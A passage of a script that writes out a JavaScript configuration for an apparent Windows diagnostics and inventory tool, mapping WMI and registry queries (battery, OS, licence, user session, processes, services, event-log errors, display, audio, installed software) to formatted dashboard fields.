file.WriteLine(" source: \"Win32_SystemEnclosure\",");
file.WriteLine(" fields: [ \"ChassisTypes\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref22) {");
file.WriteLine(" var ChassisTypes =
_ref22.ChassisTypes;");
file.WriteLine(" if (ChassisTypes) switch
(ChassisTypes[0]) {");
file.WriteLine(" case 1:");
file.WriteLine(" return \"Other\";");
file.WriteLine("");
file.WriteLine(" case 2:");
file.WriteLine(" return \"Unknown\";");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" return \"Desktop\";");
file.WriteLine("");
file.WriteLine(" case 4:");
file.WriteLine(" return \"Low Profile Desktop\";");
file.WriteLine("");
file.WriteLine(" case 5:");
file.WriteLine(" return \"Pizza Box\";");
file.WriteLine("");
file.WriteLine(" case 6:");
file.WriteLine(" return \"Mini Tower\";");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" return \"Tower\";");
file.WriteLine("");
file.WriteLine(" case 8:");
file.WriteLine(" return \"Portable\";");
file.WriteLine("");
file.WriteLine(" case 9:");
file.WriteLine(" return \"Laptop\";");
file.WriteLine("");
file.WriteLine(" case 10:");
file.WriteLine(" return \"Notebook\";");
file.WriteLine("");
file.WriteLine(" case 11:");
file.WriteLine(" return \"Hand Held\";");
file.WriteLine("");
file.WriteLine(" case 12:");
file.WriteLine(" return \"Docking Station\";");
file.WriteLine("");
file.WriteLine(" case 13:");
file.WriteLine(" return \"All in One\";");
file.WriteLine("");
file.WriteLine(" case 14:");
file.WriteLine(" return \"Sub Notebook\";");
file.WriteLine("");
file.WriteLine(" case 15:");
file.WriteLine(" return \"Space-Saving\";");
file.WriteLine("");
file.WriteLine(" case 16:");
file.WriteLine(" return \"Lunch Box\";");
file.WriteLine("");
file.WriteLine(" case 17:");
file.WriteLine(" return \"Main System Chassis\";");
file.WriteLine("");
file.WriteLine(" case 18:");
file.WriteLine(" return \"Expansion Chassis\";");
file.WriteLine("");
file.WriteLine(" case 19:");
file.WriteLine(" return \"SubChassis\";");
file.WriteLine("");
file.WriteLine(" case 20:");
file.WriteLine(" return \"Bus Expansion
Chassis\";");
file.WriteLine("");
file.WriteLine(" case 21:");
file.WriteLine(" return \"Peripheral Chassis\";");
file.WriteLine("");
file.WriteLine(" case 22:");
file.WriteLine(" return \"Storage Chassis\";");
file.WriteLine("");
file.WriteLine(" case 23:");
file.WriteLine(" return \"Rack Mount Chassis\";");
file.WriteLine("");
file.WriteLine(" case 24:");
file.WriteLine(" return \"Sealed-Case PC\";");
file.WriteLine(" }");
file.WriteLine(" return \"\";");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" } ]");
file.WriteLine(" },");
file.WriteLine(" \"Power Management\": {");
file.WriteLine(" type: \"object\",");
file.WriteLine(" targets: [ \"diagnostics\", \"dashboard\" ],");
file.WriteLine(" groups: [ {");
file.WriteLine(" name: \"Power Management Properties\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Current Power Source\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"ROOT\\\\wmi:BatteryStatus\",");
file.WriteLine(" fields: [ \"PowerOnline\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref23) {");
file.WriteLine(" return !1 ===
_ref23.PowerOnline ? \"Battery\" : \"AC Line\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Battery Status\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Battery\",");
file.WriteLine(" fields: [ \"EstimatedChargeRemaining\",
\"BatteryStatus\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref24) {");
file.WriteLine(" var EstimatedChargeRemaining =
_ref24.EstimatedChargeRemaining, BatteryStatus = _ref24.BatteryStatus, res =
EstimatedChargeRemaining + \"%\";");
file.WriteLine(" switch (BatteryStatus) {");
file.WriteLine(" case 1:");
file.WriteLine(" return res + \" (Other)\";");
file.WriteLine("");
file.WriteLine(" case 2:");
file.WriteLine(" return res + \" (Unknown)\";");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" return res + \" (Fully
Charged)\";");
file.WriteLine("");
file.WriteLine(" case 4:");
file.WriteLine(" return res + \" (Low)\";");
file.WriteLine("");
file.WriteLine(" case 5:");
file.WriteLine(" return res + \" (Critical)\";");
file.WriteLine("");
file.WriteLine(" case 6:");
file.WriteLine(" return res + \" (Charging)\";");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" return res + \" (Charging and
High)\";");
file.WriteLine("");
file.WriteLine(" case 8:");
file.WriteLine(" return res + \" (Charging and
Low)\";");
file.WriteLine("");
file.WriteLine(" case 9:");
file.WriteLine(" return res + \" (Charging and
Critical)\";");
file.WriteLine("");
file.WriteLine(" case 10:");
file.WriteLine(" return res + \" (Undefined)\";");
file.WriteLine("");
file.WriteLine(" case 11:");
file.WriteLine(" return res + \" (Partially
Charged)\";");
file.WriteLine(" }");
file.WriteLine(" return res;");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Remaining Battery Lifetime\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Battery\",");
file.WriteLine(" fields: [ \"EstimatedRunTime\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref25) {");
file.WriteLine(" var EstimatedRunTime =
_ref25.EstimatedRunTime;");
file.WriteLine(" if (parseInt(EstimatedRunTime, 10) >
7200) return \"Unknown\"; else return EstimatedRunTime + \" minutes\";");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Battery Properties\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Device Name\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Battery\",");
file.WriteLine(" fields: [ \"Name\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Manufacturer\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_PortableBattery\",");
file.WriteLine(" fields: [ \"Manufacturer\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Unique ID\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Battery\",");
file.WriteLine(" fields: [ \"DeviceID\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Battery Type\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Battery\",");
file.WriteLine(" fields: [ \"Chemistry\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref26) {");
file.WriteLine(" switch (_ref26.Chemistry) {");
file.WriteLine(" case 1:");
file.WriteLine(" return \"Other\";");
file.WriteLine("");
file.WriteLine(" case 2:");
file.WriteLine(" return \"Unknown\";");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" return \"Lead Acid\";");
file.WriteLine("");
file.WriteLine(" case 4:");
file.WriteLine(" return \"Nickel Cadmium\";");
file.WriteLine("");
file.WriteLine(" case 5:");
file.WriteLine(" return \"Nickel Metal Hydride\";");
file.WriteLine("");
file.WriteLine(" case 6:");
file.WriteLine(" return \"Lithium-ion\";");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" return \"Zinc air\";");
file.WriteLine("");
file.WriteLine(" case 8:");
file.WriteLine(" return \"Lithium Polymer\";");
file.WriteLine(" }");
file.WriteLine(" return \"\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Designed Capacity\",");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"ROOT\\\\wmi:BatteryStaticData\",");
file.WriteLine(" fields: [ \"DesignedCapacity\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref27) {");
file.WriteLine(" return _ref27.DesignedCapacity + \"
mWh\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Fully Charged Capacity\",");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"ROOT\\\\wmi:BatteryFullChargedCapacity\",");
file.WriteLine(" fields: [ \"FullChargedCapacity\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref28) {");
file.WriteLine(" return _ref28.FullChargedCapacity + \"
mWh\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Current Capacity\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"ROOT\\\\wmi:BatteryStatus\",");
file.WriteLine(" fields: [ \"RemainingCapacity\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref29) {");
file.WriteLine(" return _ref29.RemainingCapacity + \"
mWh\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Battery Voltage\",");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"ROOT\\\\wmi:BatteryStatus\",");
file.WriteLine(" fields: [ \"Voltage\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref30) {");
file.WriteLine(" var Voltage = _ref30.Voltage;");
file.WriteLine(" return parseInt(Voltage, 10) / 1e3 + \"
V\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Power State\",");
file.WriteLine(" wmi: {");
file.WriteLine("
source: \"ROOT\\\\wmi:BatteryStatus\",");
file.WriteLine(" fields:
[ \"PowerOnline\", \"Charging\", \"Discharging\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref31) {");
file.WriteLine(" var PowerOnline = _ref31.PowerOnline,
Charging = _ref31.Charging, Discharging = _ref31.Discharging, res = [];");
file.WriteLine(" if (PowerOnline) res.push(\"AC
Line\");");
file.WriteLine(" if (Charging)
res.push(\"Charging\");");
file.WriteLine(" if (Discharging)
res.push(\"Discharging\");");
file.WriteLine(" return res.join(\", \");");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" } ]");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" \"Operating System\": {");
file.WriteLine(" \"Operating System\": {");
file.WriteLine(" type: \"object\",");
file.WriteLine(" targets: [ \"diagnostics\", \"dashboard\" ],");
file.WriteLine(" groups: [ {");
file.WriteLine(" name: \"Operating System Properties\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"OS Name\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"Caption\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"OS Language\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"MUILanguages\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref32) {");
file.WriteLine(" return
_ref32.MUILanguages.join(\",\");");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"OS Kernel Type\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields:
[ \"BuildType\", \"OSArchitecture\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref33) {");
file.WriteLine(" return _ref33.BuildType + \" (\" +
_ref33.OSArchitecture + \")\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"OS Version\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"Version\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"OS Service Pack\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"CSDVersion\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"OS Installation Date\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"InstallDate\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref34) {");
file.WriteLine(" var InstallDate =
_ref34.InstallDate;");
file.WriteLine(" return
parseWinDate(InstallDate).toString();");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"OS Root\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"WindowsDirectory\" ]");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"License Information\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Registered Owner\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"RegisteredUser\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Registered Organization\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"Organization\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Product ID\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"SerialNumber\" ]");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Current Session\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Computer Name\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"CSName\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"User Name\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_ComputerSystem\",");
file.WriteLine(" fields: [ \"UserName\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Logon Domain\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_ComputerSystem\",");
file.WriteLine(" fields: [ \"Domain\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"UpTime\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields:
[ \"LastBootUpTime\", \"LocalDateTime\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref35) {");
file.WriteLine(" var LastBootUpTime =
_ref35.LastBootUpTime, LocalDateTime = _ref35.LocalDateTime, total =
Math.ceil((parseWinDate(LocalDateTime) - parseWinDate(LastBootUpTime)) / 1e3), days
= Math.floor(total / 86400), hours = Math.floor((total - 86400 * days) / 3600),
minutes = Math.floor((total - 86400 * days - 3600 * hours) / 60);");
file.WriteLine(" return total + \" sec (\" + days + \"
d, \" + hours + \" h, \" + minutes + \" m, \" + (total - 86400 * days - 3600 *
hours - 60 * minutes) + \" s)\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Last Reboot Reason\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: 'Win32_NTLogEvent WHERE Logfile
= \"System\" AND (EventCode = 1074 OR EventCode = 1001 OR EventCode = 6008)',");
file.WriteLine(" fields:
[ \"EventCode\", \"Message\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref36) {");
file.WriteLine(" var EventCode = _ref36.EventCode,
Message = _ref36.Message;");
file.WriteLine(" switch (EventCode) {");
file.WriteLine(" case 1074:");
file.WriteLine(" return \"CORRECT: \" + Message;");
file.WriteLine("");
file.WriteLine(" case 6008:");
file.WriteLine(" return \"UNEXPECTED: \" +
Message;");
file.WriteLine("");
file.WriteLine(" case 1001:");
file.WriteLine(" return \"BSOD: \" + Message;");
file.WriteLine("");
file.WriteLine(" default:");
file.WriteLine(" return \"UNKNOWN: \" + Message;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Last Boot Speed\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Type\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: 'Win32_NTLogEvent WHERE Logfile
= \"Microsoft-Windows-Diagnostics-Performance/Operational\" AND EventCode =
100',");
file.WriteLine(" fields: [ \"Type\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Boot Time\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: 'Win32_NTLogEvent WHERE Logfile
= \"Microsoft-Windows-Diagnostics-Performance/Operational\" AND EventCode =
100',");
file.WriteLine(" fields: [ \"InsertionStrings\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref37) {");
file.WriteLine(" return _ref37.InsertionStrings[5];");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Boot User Profile Processing
Time\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: 'Win32_NTLogEvent WHERE Logfile
= \"Microsoft-Windows-Diagnostics-Performance/Operational\" AND EventCode =
100',");
file.WriteLine(" fields: [ \"InsertionStrings\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref38) {");
file.WriteLine(" return _ref38.InsertionStrings[15];");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Boot Post Boot Time\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: 'Win32_NTLogEvent WHERE Logfile
= \"Microsoft-Windows-Diagnostics-Performance/Operational\" AND EventCode =
100',");
file.WriteLine(" fields: [ \"InsertionStrings\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref39) {");
file.WriteLine(" return _ref39.InsertionStrings[19];");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Main Path Boot Time\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: 'Win32_NTLogEvent WHERE Logfile
= \"Microsoft-Windows-Diagnostics-Performance/Operational\" AND EventCode =
100',");
file.WriteLine(" fields: [ \"InsertionStrings\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref40) {");
file.WriteLine(" return _ref40.InsertionStrings[6];");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Boot Num Startup Apps\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: 'Win32_NTLogEvent WHERE Logfile
= \"Microsoft-Windows-Diagnostics-Performance/Operational\" AND EventCode =
100',");
file.WriteLine(" fields: [ \"InsertionStrings\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref41) {");
file.WriteLine(" return _ref41.InsertionStrings[18];");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" } ]");
file.WriteLine(" },");
file.WriteLine(" Processes: {");
file.WriteLine(" type: \"array\",");
file.WriteLine(" targets: [],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Process\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Process Name\",");
file.WriteLine(" field: \"Caption\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Process File Name\",");
file.WriteLine(" field: \"ExecutablePath\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Used Memory\",");
file.WriteLine(" field: \"WorkingSetSize\",");
file.WriteLine(" format: function(v) {");
file.WriteLine(" return Math.ceil(parseFloat(v) / 1024)
+ \" KB\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Used Swap\",");
file.WriteLine(" field: \"VirtualSize\",");
file.WriteLine(" format: function(v) {");
file.WriteLine(" return Math.ceil(parseFloat(v) / 1024)
+ \" KB\";");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" Services: {");
file.WriteLine(" type: \"array\",");
file.WriteLine(" targets: [],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_Service\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Service Name\",");
file.WriteLine(" field: \"Name\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Service Description\",");
file.WriteLine(" field: \"Description\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Path Name\",");
file.WriteLine(" field: \"PathName\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Type\",");
file.WriteLine(" field: \"ServiceType\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"State\",");
file.WriteLine(" field: \"State\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Account\",");
file.WriteLine(" field: \"StartName\"");
file.WriteLine(" } ]");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" UpTime: {");
file.WriteLine(" type: \"object\",");
file.WriteLine(" targets: [ \"diagnostics\", \"dashboard\" ],");
file.WriteLine(" groups: [ {");
file.WriteLine(" name: \"Current Session\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Last Boot Time\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"LastBootUpTime\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref42) {");
file.WriteLine(" var LastBootUpTime =
_ref42.LastBootUpTime;");
file.WriteLine(" return
parseWinDate(LastBootUpTime).toString();");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Current Time\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"LocalDateTime\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref43) {");
file.WriteLine(" var LocalDateTime =
_ref43.LocalDateTime;");
file.WriteLine(" return
parseWinDate(LocalDateTime).toString();");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"UpTime\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields:
[ \"LastBootUpTime\", \"LocalDateTime\" ]");
file.WriteLine(" },");
file.WriteLine(" format: function(_ref44) {");
file.WriteLine(" var LastBootUpTime =
_ref44.LastBootUpTime, LocalDateTime = _ref44.LocalDateTime, total =
Math.ceil((parseWinDate(LocalDateTime) - parseWinDate(LastBootUpTime)) / 1e3), days
= Math.floor(total / 86400), hours = Math.floor((total - 86400 * days) / 3600),
minutes = Math.floor((total - 86400 * days - 3600 * hours) / 60);");
file.WriteLine(" return total + \" sec (\" + days + \"
d, \" + hours + \" h, \" + minutes + \" m, \" + (total - 86400 * days - 3600 *
hours - 60 * minutes) + \" s)\";");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" } ]");
file.WriteLine(" },");
file.WriteLine(" \"Weekly Errors\": {");
file.WriteLine(" type: \"array\",");
file.WriteLine(" targets: [ \"diagnostics\", \"dashboard\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: 'Win32_NTLogEvent WHERE (Type
= \"Critical\" OR Type = \"Критический\") AND TimeGenerated > \"' +
convertToWinDate(new Date(Date.now() - 6048e5)) + '\"',");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Level\",");
file.WriteLine(" field: \"LogFile\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Source\",");
file.WriteLine(" field: \"SourceName\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Code\",");
file.WriteLine(" field: \"EventCode\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Message\",");
file.WriteLine(" field: \"Message\"");
file.WriteLine(" } ]");
file.WriteLine(" },");
file.WriteLine(" format: function(events) {");
file.WriteLine(" var res = {};");
file.WriteLine(" events.forEach(function(_ref45) {");
file.WriteLine(" var Level = _ref45.Level, Source =
_ref45.Source, Code = _ref45.Code, Message = _ref45.Message, id = [ Level, Source,
Code ].join(\":\");");
file.WriteLine(" if (res[id]) res[id].Count += 1; else
res[id] = {");
file.WriteLine(" Level: Level,");
file.WriteLine(" Source: Source,");
file.WriteLine(" Code: Code,");
file.WriteLine(" Message: Message,");
file.WriteLine(" Count: 1");
file.WriteLine(" };");
file.WriteLine(" });");
file.WriteLine(" return Object.values(res);");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" \"Daily Errors\": {");
file.WriteLine(" type: \"array\",");
file.WriteLine(" targets: [ \"diagnostics\", \"dashboard\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: 'Win32_NTLogEvent WHERE (Type
= \"Critical\" OR Type = \"Критический\" OR Type = \"Error\" OR Type = \"Ошибка\")
AND TimeGenerated > \"' + convertToWinDate(new Date(Date.now() - 864e5)) + '\"',");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Type\",");
file.WriteLine(" field: \"Type\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Level\",");
file.WriteLine(" field: \"LogFile\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Source\",");
file.WriteLine(" field: \"SourceName\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Code\",");
file.WriteLine(" field: \"EventCode\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Message\",");
file.WriteLine(" field: \"Message\"");
file.WriteLine(" } ]");
file.WriteLine(" },");
file.WriteLine(" format: function(events) {");
file.WriteLine(" var res = {};");
file.WriteLine(" events.forEach(function(_ref46) {");
file.WriteLine(" var Type = _ref46.Type, Level =
_ref46.Level, Source = _ref46.Source, Code = _ref46.Code, Message = _ref46.Message,
id = [ Type, Level, Source, Code ].join(\":\");");
file.WriteLine(" if (res[id]) res[id].Count += 1; else
res[id] = {");
file.WriteLine(" Type: Type,");
file.WriteLine(" Level: Level,");
file.WriteLine(" Source: Source,");
file.WriteLine(" Code: Code,");
file.WriteLine(" Message: Message,");
file.WriteLine(" Count: 1");
file.WriteLine(" };");
file.WriteLine(" });");
file.WriteLine(" return Object.values(res);");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" Display: {");
file.WriteLine(" \"Windows Video\": {");
file.WriteLine(" type: \"array\",");
file.WriteLine(" targets: [ \"diagnostics\", \"dashboard\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_VideoController\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Description\",");
file.WriteLine(" field: \"Description\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Memory Size\",");
file.WriteLine(" field: \"AdapterRAM\",");
file.WriteLine(" format: function(v) {");
file.WriteLine(" if (v >= 0) return
Math.ceil(parseFloat(v) / 1024 / 1024) + \" MB\"; else return null;");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Video Mode\",");
file.WriteLine(" field: \"VideoModeDescription\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Driver Name\",");
file.WriteLine(" field: \"infSection\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Driver Version\",");
file.WriteLine(" field: \"DriverVersion\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Driver Date\",");
file.WriteLine(" field: \"DriverDate\",");
file.WriteLine(" format: function(v) {");
file.WriteLine(" return parseWinDate(v).toString();");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Status\",");
file.WriteLine(" field: \"Status\"");
file.WriteLine(" } ]");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" Monitor: {");
file.WriteLine(" type: \"array\",");
file.WriteLine(" targets: [ \"diagnostics\", \"dashboard\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_DesktopMonitor\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Monitor Name\",");
file.WriteLine(" field: \"Description\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Monitor ID\",");
file.WriteLine(" field: \"DeviceID\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Manufacturer\",");
file.WriteLine(" field: \"MonitorManufacturer\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Monitor Type\",");
file.WriteLine(" field: \"MonitorType\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Status\",");
file.WriteLine(" field: \"Status\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Screen Height\",");
file.WriteLine(" field: \"ScreenHeight\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Screen Width\",");
file.WriteLine(" field: \"ScreenWidth\"");
file.WriteLine(" } ]");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" Multimedia: {");
file.WriteLine(" \"Windows Audio\": {");
file.WriteLine(" type: \"array\",");
file.WriteLine(" targets: [ \"diagnostics\", \"dashboard\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_SoundDevice\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Description\",");
file.WriteLine(" field: \"Description\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Manufacturer\",");
file.WriteLine(" field: \"Manufacturer\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Status\",");
file.WriteLine(" field: \"Status\"");
file.WriteLine(" } ]");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" Software: {");
file.WriteLine(" \"Installed Software\": {");
file.WriteLine(" type: \"array\",");
file.WriteLine(" targets: [ \"soft\" ],");
file.WriteLine(" reg: {");
file.WriteLine(" source: _os.is64 ?
[ \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\\",
